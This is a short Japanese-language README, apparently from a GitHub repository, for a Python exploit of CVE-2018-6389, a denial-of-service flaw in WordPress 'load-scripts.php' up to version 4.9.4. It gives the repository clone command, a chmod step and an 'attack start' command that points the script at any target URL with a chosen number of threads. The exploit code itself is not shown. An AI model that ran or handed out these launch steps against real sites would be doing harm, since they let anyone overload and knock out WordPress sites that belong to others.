WordPress-CVE-2018-6389

WordPress Core - 'load-scripts.php' サービス拒否 (DoS) <= 4.9.4

日付: 05/02/2018

ソフトウェアリンク: WordPress

バージョン: <= 4.9.4

テスト環境: KaLi Linux 2018.1

CVE: CVE-2018-6389

発見者: Barak Tawily

エクスプロイト作成者: Javier Olmedo

使い方

このリポジトリをクローンします

git clone https://github.com/JJavierOlmedo/wordpress-cve-2018-6389.git

ローカルリポジトリに移動します

cd wordpress-cve-2018-6389

アクセス権限を変更します

sudo chmod +x wordpress-cve-2018-6389.py

攻撃を開始します!!

python3 wordpress-cve-2018-6389.py -u <TARGET> -t <THREADS>

PoC

cve-2018-6389